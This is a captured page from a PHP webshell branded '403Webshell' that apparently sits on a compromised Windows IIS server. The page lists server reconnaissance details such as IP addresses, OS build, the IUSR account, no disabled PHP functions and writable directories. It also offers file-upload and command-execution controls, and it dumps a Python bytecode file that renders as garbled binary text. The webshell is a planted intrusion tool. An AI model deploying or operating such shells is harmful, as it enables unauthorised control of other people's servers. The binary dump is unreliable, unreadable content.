403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.66
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Python315/Lib/encodings/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Python315/Lib/encodings/__pycache__/punycode.cpython-315.pyc
R
>lqj�c�<�Qs]PHsQsQsQsQsQsQsQsQs	Q	s
Q
sQsQs
Q
sQQ\O2sQQ\O 2sQQ\O"2sQQ\\O$2sQQ\\O&2sQsP!)uXCodec for the Punycode encoding, as specified in RFC 3492

Written by Martin v. Löwis.
c���[2o[2oSFD@o[U2]�6cUO[U22J/UO	U2JB	[U2oUO
2U1!)z 3.1 Basic code point segregation)�	bytearray�set�ord�append�add�sorted�
take_bytes)�str�base�extended�cs&   �'C:\Python315\\Lib\encodings\punycode.py�	segregater
s^���;�D��u�H�
���q�6�C�<��K�K��A����L�L��O�	�
�h��H��?�?��h�&�&�c�V�]oSFDo[U2U6fJU]*
oJ 	U!)z@Return the length of str, considering only characters below max.)r)r	�max�resrs&&  r
�
selective_lenrs,��
�C�
���q�6�C�<��1�H�C���Jrc��[U2oU]*
oV46XcQ!V*oVQ6XcU]*U1!VQ6fJ3U]*
oJ>)aReturn a pair (index, pos), indicating the next occurrence of
char in str. index is the position of the character considering
only ordinals up to and including char, and pos is the position in
the full string. index/pos is the starting position in the full
string.)���r)�len)r	�char�index�pos�lrs&&&&  r
�selective_findrsK��	�C��A�
��q����8��O��H���9���7�C�<��
�X��Q�J�Erc��]�o,oPoSFDxoP9qg[U2o[V2o	U	]*V�*
*o
[VVg2vqgUP6XcL-V�U*
*
o
UOU
]*
2So]o
JDSoJz	U!)z3.2 Insertion unsort coding)rrrr)r	r�oldchar�result�oldindexrrrr�curlen�deltas&&         r
�insertion_unsortr"0s����G�
�F��H�
������1�v���s�)�����d�n�-���&�s�U�7�I�E���{���X�%�%�E��M�M�%��'�"��H��E�����Mrc�Z�]$U]**U*
oU]6c]!U]6�c]!U!)�$�)�j�biasrs&& r
�Tr(Fs+��
��A��,��
�C�
�Q�w�q�
�R�x���Jrs$abcdefghijklmnopqrstuvwxyz0123456789c�H�[2o]o[V12oV6c-UO[U*2UO	2!UO[V@U*
]$U*
***2V*
]$U*
*oU]*
oJ�)�(3.3 Generalized variable-length integers)rr(r�digitsr)�Nr'rr&�ts&&   r
�generate_generalized_integerr.Nsx��
�[�F�	�A�
�
�a�J���5��M�M�&��)�$��$�$�&�&��
�
�f�Q�q�5�R�!�V�"4�5�6�7�
�U��Q����	�Q��rc���U%cUQ*oL	U]*oVU**
o]oUQ6�cU]#*oU]$*
oJU]$U*U]&***oU!)���r%)r!�first�numchars�	divisionsr's&&&  r
�adaptr5[s^���
�#�
��
�!���	�h�
��E��I�
�#�+������R��	���U�
�u�r�z�2�3�D��Krc���[2o]Ho[U2FD=vqE[VS2oUOU2[	VT]6HV*]*2oJ?	UO2!)z3.4 Bias adaptation)r�	enumerater.�extendr5r)�baselen�deltasrr'�pointsr!�ss&&     r
�generate_integersr=js_���[�F�
�D�"�6�*�
��(��5���
�
�a���U�A�I�w�~�a�'7�8��+�����rc��[U2vq[V2o[[U2U2oU%cUQ*U*!U!)�-)rr"r=r)�textr
rr:s&   r
�punycode_encoderAus>���t�_�N�D�
�d�
-�F� ��T��F�3�H���d�{�X�%�%��Orc
���]o]o]oV*oU]*
o]ASt96:c]Z6:cLL
U]A*
oLM]0St96:c]96:cLL
U]*
oL1UQ6Xc'[QV]*
UQV]*
*Q02gUP1![Vb2o	VHU**
oV�6cV1!U]$U	*
*oU]*
oJ�[c+SQ6Xc[QXS]*Q2gS]*P1t!h9h)r*�strict�punycodezincomplete punycode stringzInvalid extended code point '�')�
IndexError�UnicodeDecodeErrorr()
r�extposr'�errorsr�wr&r�digitr-s
&&&&      r
�decode_generalized_numberrLs��
�F�	�A�	�A�
�	$��#�D�	�!����4��4���4�K�E�
�T�
!�T�
!��2�I�E�
�x�
�$�Z��!�8�V�'D�X�UV�h�EW�DX�XY�%Z�\�
\��4�<��
�a�J���!�)����9��>�!�
��a��L��	�Q����)�	$���!�(��X�v�a�x�)E�G�G��A�:�t�#�#�		$�s�C�	C7�C7� C7�6C7c	���]�oPo]Ho]oU[U26c�[VVR2vqxUeU!VH]**
oV4[U2]***
oUQ6�c,UQ6Xc[QV]*
UQUQ
02g[Q2oU[U2]**oUPU[	U2*VP*o[V�]6H[U22oSoJ�U!)z3.2 Insertion sort codingi��rCrDzInvalid character U+�x�?)rrLrGr�chrr5)	r
rrIrrr'rH�newposr!s	&&&      r
�insertion_sortrR�s����D�
�C�
�D�
�F�
�3�x�=�
 �1�(�26�@�
���=��K��Q�w�����D�	�A�
�&�&���(�?���!�(���a�%��*�4��(�3�5�5��s�8�D��S��Y��]�#���D�S�z�C��I�%��T�
�2���U�q�[�3�t�9�5�����Krc��[U[2%cUOQ2o[U[2%c[	U2oUOQ2oUP6XcPoUO
2oL*[UPUQU2oV]*PO
2o[V4U2![c3o[QXOSOSO2PgPo=hh9h[cIoS]*o[QSXeO*XeO*SO2PgPo=hh9h)�asciir?rD)�
isinstancer	�encode�
memoryview�bytes�rfind�upperrG�start�end�reasonrR)r@rIrr
r�exc�offsets&&     r
�punycode_decoder`�s���$�����{�{�7�#���$�
�#�#��T�{��
�*�*�T�
�C�
�b�y����:�:�<��	;��t�D�S�z�7�F�3�D��A���<�%�%�'��7��d�f�5�5��"�	;�$�W�d�I�I�s�w�w�%(�Z�Z�1�6:�
;��	;���7��q��� ��T�!'�	�	�!1�6�'�'�>�!$���-�26�	7��7�s=�6B,� C,�,	C)�6C)�7-C$�$C)�,	D?�6D?�7AD:�:D?c�6`�\sQs]�snQQksQQksQsUsP!)�Codecc�4�[U2oU[U21!�N)rAr��self�inputrIrs&&& r
rV�Codec.encode�s���e�$���C��J��rc�^�UQ7c[QU02g[V2oU[U21!�rCzUnsupported error handling: )rC�replace�ignore)�UnicodeErrorr`rres&&& r
�decode�Codec.decode�s6���8�8��!=�f�X�F�G�G��e�,���C��J��rr%)rC)�__name__�
__module__�__qualname__�__firstlineno__rVrn�__static_attributes__�__classdictcell__��
__classdict__s@r
rbrb�s������rrbc�,`�\sQs]�snQQksQsUsP!)�IncrementalEncoderc��[U2!rd)rA�rfrg�finals&&&r
rV�IncrementalEncoder.encode�s
���u�%�%rr%�F)rprqrrrsrVrtrurvs@r
ryry�s����&�&rryc�,`�\sQs]�snQQksQsUsP!)�IncrementalDecoderc��UOQ7c[QUO02g[VO2!rj)rIrmr`r{s&&&r
rn�IncrementalDecoder.decode�s5���;�;�=�=��!=�d�k�k�]�K�L�L��u�k�k�2�2rr%r~)rprqrrrsrnrtrurvs@r
r�r��s����3�3rr�c��\sQs]�sQsP!)�StreamWriterr%�rprqrrrsrtr%rr
r�r�����rr�c��\sQs]�sQsP!)�StreamReaderr%r�r%rr
r�r��r�rr�c
��[OQ[2O[2O[
[[[Q5!)rD)�namerVrn�incrementalencoder�incrementaldecoder�streamwriter�streamreader)	�codecs�	CodecInforbrVrnryr�r�r�r%rr
�getregentryr��s6�����
��w�~�~��w�~�~�-�-�!�!��r)�__doc__r�rrrr"r(r+r.r5r=rArLrRr`rbryr�r�r�r�r%rr
�<module>r�s����
�
'���$�,�
1����	���>�<7�4
�F�L�L�
�&��2�2�&�3��2�2�3�	�5��,�,�	�	�5��,�,�	�
	r

Youez - 2016 - github.com/yon3zu
LinuXploit